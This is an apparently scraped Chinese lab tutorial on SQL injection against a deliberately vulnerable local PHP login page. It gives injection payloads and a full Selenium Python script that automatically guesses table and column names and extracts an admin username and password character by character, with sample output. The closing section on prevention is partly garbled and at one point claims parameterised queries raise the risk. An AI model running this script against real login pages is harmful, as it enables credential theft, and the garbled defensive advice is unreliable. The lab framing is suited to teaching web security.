Warning: Illegal string offset 'download' in /www/wwwroot/www.oilcn.net.cn/wp-content/themes/wpzt-hot/template-parts/single/single-pc.php on line 4

存在sql注入的网站源码下载_网站sql注入扫描

21次
2021-06-15

通过 SQL 注入防御,掌握网站的工作模式,认识到 SQL 注入防御的防控举措,加强对 Web 攻击的防控。

一、实验环境

存在sql注入的网站源码下载_网站sql注入扫描 (https://www.oilcn.net.cn/) 综合教程 第1张

下载所需代码及硬件:获取链接:链接: 提取码:qlgr

(1) 下载并安装WAMP,文件夹下的wampserver2.2d32位

(2) 运行python漏洞运用脚本的环境,需要安装selenium库及浏览器对应的ChromeDriver版本

二、实验打算

(1)了解网站的运行模式跟原理。

(2)了解 asp、php、jsp 或者 asp.net 语言的工作原理。

(3)熟悉数据库 SQL 语言。

(4)在 Internet 上搜索 SQL 注入的相关文章,学习 SQL 注入的原理跟步骤。

三、实验内容

通过模拟 SQL 注入防御荣获某网站后台登录密码。

(1)通过本地服务器搭建模拟网站。

(2)测试其是否存在SQL注入漏洞,进行模拟防御。

存在sql注入的网站源码下载_网站sql注入扫描 (https://www.oilcn.net.cn/) 综合教程 第2张

(3)获得后台数据库中的储存网站用户跟密码的数据表。

(4)获得其中一对用户名跟密码。

(6)用斩获的用户名跟密码验证是否还能登入。

(7)为这个网站的SQL注入漏洞提出解决方案跟严防方式。

(8)使用seleium库编写python爬虫脚本,自动获取SQL管理员的用户名跟密码。

四、WAMP服务器搭建方法1. 安装wamp,启动所有服务,“start all services”

存在sql注入的网站源码下载_网站sql注入扫描 (https://www.oilcn.net.cn/) 综合教程 第3张

2. 通过phpmyadmin,新建数据库test,创建admin管理员账户表,并添加相应的帐户名跟密码(或者可以直接导出admin.sql)

存在sql注入的网站源码下载_网站sql注入扫描 (https://www.oilcn.net.cn/) 综合教程 第4张

3. 将login.php跟verify.phpf放到wamp的www文件夹

其中login.php如下:


	
		Sql注入演示
		
	
	
		
Sql注入演示
用户名:
密 码:

verify.php如下:


	
		登录验证
		
	
	
alert('登录成功')";
	}else{
		echo "您的用户名或密码输入有误,请重新登录!";
	}
?>
	

存在sql注入的网站源码下载_网站sql注入扫描 (https://www.oilcn.net.cn/) 综合教程 第5张

浏览器打开即可见到登陆页面。

存在sql注入的网站源码下载_网站sql注入扫描 (https://www.oilcn.net.cn/) 综合教程 第6张

五、SQL注入的具体方法1. 验证存在SQL注入漏洞

用户名键入’ or 1=1#密码无论键入哪些,均可以正确登录:

存在sql注入的网站源码下载_网站sql注入扫描 (https://www.oilcn.net.cn/) 综合教程 第7张

原因是sql句子弄成了:select * from admin where username='' or 1=1#' and password='123',任意数据库的记录都满足该条件,因此arr是有效的。

存在sql注入的网站源码下载_网站sql注入扫描 (https://www.oilcn.net.cn/) 综合教程 第8张

输入' and 1=1# 会返回账户错误,但是不会报错退出,因为sql句子依然是有效的。

以上方法确定了数据库存在SQL注入漏洞,并可以通过此漏洞进行用户名密码的获取。

2. 接下来可以推测管理员账号表

用户名填' or exists (select * from admin)#

SQL句子弄成:select * from admin where username='' or exists (select * from admin)#'... 如果登录成功,说明数据库中确实有对应的admin表格,而且很有可能是管理员账号表。

在此列出或许的管理员帐户表适于猜想:name_list = ['admin', 'admins', 'account', 'adminInfo', 'user', 'users', 'userInfo']

' and exists (select * from admin)# 也可以拿来猜想存在sql注入的网站源码下载,如果没有出现如下图的异常,说明数据库中确实有对应的表名

存在sql注入的网站源码下载_网站sql注入扫描 (https://www.oilcn.net.cn/) 综合教程 第9张

存在sql注入的网站源码下载_网站sql注入扫描 (https://www.oilcn.net.cn/) 综合教程 第10张

3. 接下来猜想表中数组

根据已有的表名admin进行推测其或许有的数组,一般的管理员表格都是通过id, username, password来登录的。

输入' and exists (select id from admin) #没有异常,即:select * from admin where username='' and exists (select id from admin)#' ... 可以执行,说明数据库中确实有id数组

同样的,可以推测有password, username两个数组

4. 接下来确定用户名的宽度

以下其他信息的获取与前面有所不同。因为使用查询不存在的表名与数组名,SQL句子均会报错,而查询不存在的用户名与密码时,SQL句子只会返回空的结果,于是exits句子返回为False。页面正常但返回用户名错误,只有将exist前的and换为or能够区分二者的差别。

' or exists (select id from admin where id=4) # 选择或许存在的id号,能够正确登入。

' or exists (select id from admin where length(username) 用于推测对应的用户名厚度范围(可用2分法)

' or exists (select id from admin where length(username)=5 and id=1) # 用于准确推测对应的用户名宽度

5. 接下来确定用户名

' or 4=(select id from admin where mid(username,1,1)='d')# 截取用户名的第一位,猜测对应的值,相当于以下sql句子:

select * from admin where username='' and 4=(select id from admin where mid(username,1,1)='d')# ...

其中mid(username,1,1)表示截取username从第1位开始宽度为1 的部份,即用户名的第一位,同样试出对应的第二位(mid(username,2,1))到第五位,是david,可用填入以下验证:

存在sql注入的网站源码下载_网站sql注入扫描 (https://www.oilcn.net.cn/) 综合教程 第11张

' or 1=(select id from admin where username='david')

6. 确定用户名对应的密码

同样的可以通过对应的id号码试出密码:anekeyzzz456。于是得到了后台的一个用户名跟密码。

六、意外状况1. sqli与sql不同

verify.php中$conn=@mysql_connect('127.0.0.1:3306','root','') or die("数据库连结失败!");若使用mysqli_connect才会出以下问题:

存在sql注入的网站源码下载_网站sql注入扫描 (https://www.oilcn.net.cn/) 综合教程 第12张

并不是由于数据库不存在,而是根本就没有正确连上数据库。经过更改之后,输入数据库中存在的admin/password才能正确登入。

2. WAMP字体未由橙变蓝,登陆时提示“数据库连结失败”

存在sql注入的网站源码下载_网站sql注入扫描 (https://www.oilcn.net.cn/) 综合教程 第13张

原因是WAMP数据库未启动,打开任务管理器>服务,打开相应的服务即可。注意安装过自己的mysql的还要关掉,详见WampServer中MySQL服务仍然未能开启

3. 同时有多个用户名都满足要求

我们尝试select * from admin where username='' or 4=(select id from admin where mid(username,1,1)='d')#时,如果首字母开头为d的用户名有两个,则sql句子发生错误:

存在sql注入的网站源码下载_网站sql注入扫描 (https://www.oilcn.net.cn/) 综合教程 第14张

因为一个不或许与两个相等,这时,我们应当要设置id是前面的子集就能成功。所以使用至in:

存在sql注入的网站源码下载_网站sql注入扫描 (https://www.oilcn.net.cn/) 综合教程 第15张

存在sql注入的网站源码下载_网站sql注入扫描 (https://www.oilcn.net.cn/) 综合教程 第16张

七、源码及运行结果

使用python的selenium库进行自动化爬虫,按照以上方法进行自动化尝试。

import time
from selenium import webdriver
from selenium.common.exceptions import NoAlertPresentException
from selenium.webdriver.chrome.options import Options
class Webber:
    interval = 0
    chrome_options = Options()
    chrome_options.add_argument('--headless')
    alpha_dict = [chr(x) for x in list(range(97, 123))+list(range(65,91))+list(range(48,58))]
    def __init__(self, url):
        self.url = url
        self.driver = webdriver.Chrome()
        self.driver.get(url)
    def get_path(self):
        try:
            return self.driver.find_element_by_name('username')
        except:
            return self.driver.find_element_by_name('user_login')
    def login(self):
        self.driver.find_element_by_xpath('/html/body/form/fieldset/table/tbody/tr[3]/td[1]/input').click()
    def alert_is_present(self):  # 弹窗代表登陆成功,否则进入异常或错误页面。注意返回正常登陆页面
        try:
            alert = self.driver.switch_to.alert
            alert.accept()
            return True
        except NoAlertPresentException:
            return False
        finally:
            self.roll_back()
    def roll_back(self):
        self.driver.back()
        time.sleep(web.interval)
    def try_value(self, value):
        self.get_path().clear()
        self.get_path().send_keys(value)
        time.sleep(web.interval)
        self.login()
        time.sleep(web.interval)
        return self.alert_is_present()
    def get_table_name(self):
        name_list = ['admin', 'admins', 'account', 'adminInfo', 'user', 'users', 'userInfo']
        for name in name_list:
            if self.try_value("' or exists (select * from " + name + ")#"):
                return name
        return None
    def try_field_name(self, table, field):
        return self.try_value("' or exists (select " + field + " from " + table + ")#")
    def get_field_name(self, table):
        field_list = ['id', 'username', 'password', 'user_login', 'user_password']
        list_ = []
        for field in field_list:
            if self.try_field_name(table, field):
                list_.append(field)
        print("fields in table are: " + str(list_))
        return list_
    def has_id(self, table, id):
        return self.try_value("' or exists (select id from " + table + " where id=" + id + ")#")
    # 尝试用户名的长度 [m,M] 之间
    def try_field_length(self, table, id, m, M, field):
        return self.try_value(
            "' or exists (select id from " + table + " where id=" + id + " and length("+field+")>=" + str(m) + " and length("+field+")<=" + str(M) + ")#")
    def get_field_length(self, table, id, field):
        m = 0
        M = 100
        assert self.try_field_length(table, id, m, M, field)
        while m < M:
            print(m, M)
            mid = int((m+M)/2)
            if self.try_field_length(table, id, m, mid, field):
                M = mid
            else:
                m = mid + 1
        assert m == M
        return m
    def try_field_i(self, table, id, i, field):
        for t in Webber.alpha_dict:
            if self.try_value("' or "+id+" in (select id from "+table+" where mid("+field+","+str(i)+",1)='"+t+"')#"):
                return t
        raise Exception("no such alpha!")
    def get_field(self, table, id, length, field):
        field_str = ""
        for i in range(1, length+1):
            print(i, end=': ')
            ch = self.try_field_i(table, id, i, field)
            print(ch)
            field_str += ch
        return field_str
if __name__ == '__main__':
    web = Webber('http://localhost/login.php')
    time.sleep(web.interval)
    # 1. 验证存在SQL注入漏洞'
    if not web.try_value("' or 1=1#"):
        print("this website doesn't have sql")
    else:
        # 2. 接下来可以猜测管理员帐号表
        table = web.get_table_name()
        assert table
        print('table name is: ' + table)
        # 3. 接下来猜测表中字段
        assert {'id', 'username', 'password'} <= set(web.get_field_name(table))
        # 4. 接下来确定用户名的长度
        # 下面以 id =4 为例尝试其用户名与密码
        assert web.has_id(table, '4')
        l = web.get_field_length(table, '4', 'username')
        print("length of username(4) is: " + str(l))
        # 5. 接下来确定用户名
        username = web.get_field(table, '4', l, 'username')
        print("username(4) is: " + username)
        # 6. 确定用户名对应的密码
        l = web.get_field_length(table, '4', 'password')
        print("length of password(4) is: " + str(l))
        password = web.get_field(table, '4', l, 'password')
        print("password(4) is: " + password)

运行结果如下:运行代码进行暴力尝试,运行大约1分钟,获取了id=4对应的用户名 david以及密码anekeyzzz456。

table name is: admin
fields in table are: ['id', 'username', 'password']
0 100
0 50
0 25
0 12
0 6
4 6
4 5
length of id(4) is: 5
1: d
2: a
3: v
4: i
5: d
username of id(4) is: david
0 100
0 50
0 25
0 12
7 12
10 12
length of id(4) is: 12
1: a
2: n
3: e
4: k
5: e
6: y
7: z
8: z
9: z
10: 4
11: 5
12: 6
password of id(4) is: anekeyzzz456

八、防范SQL注入的方案

当数据库对用户在客户端的键入字符或句子不加限制的调用至并执行时,就形成了sql注入漏洞,自然的当数据库对客户端的键入进行了相关的限制跟过滤后,使用预处理跟参数化,sql注入的风险会大大增加。

有以下几种基本的步骤保护缓冲区免受SQL注入的防御跟影响:

(1)利用sql自身所带的通配符函数,可以把获取至的客户端句子进行相应的通配符。

(2)当然也可以进行过滤,既然测试者在构造payload时还要相关的字符,那将这种字符过滤掉确实是一种方式(比如将post恳求中的%换成空,过滤注释符#)。

(3)在客户端跟web 服务之间架一堵防火墙也不失为一种好的方式。一旦访问中存在蓄意的字符都会被阻断开。当然防火墙的设置并不代表后台服务器就容许存在sql注入漏洞,这三者是一种动态的关系还要同时加强。

存在sql注入的网站源码下载_网站sql注入扫描 (https://www.oilcn.net.cn/) 综合教程 第17张

存在sql注入的网站源码下载_网站sql注入扫描 (https://www.oilcn.net.cn/) 综合教程 第18张

存在sql注入的网站源码下载_网站sql注入扫描 (https://www.oilcn.net.cn/) 综合教程 第19张

正如上图所示,它会将后端键入的参数用占位符“?”来替代,并把这条句子结果先跟数据库进行交付存在sql注入的网站源码下载,再传参。而不是一起传出来。也就防止了不加节制的条纹后端句子

END

发表评论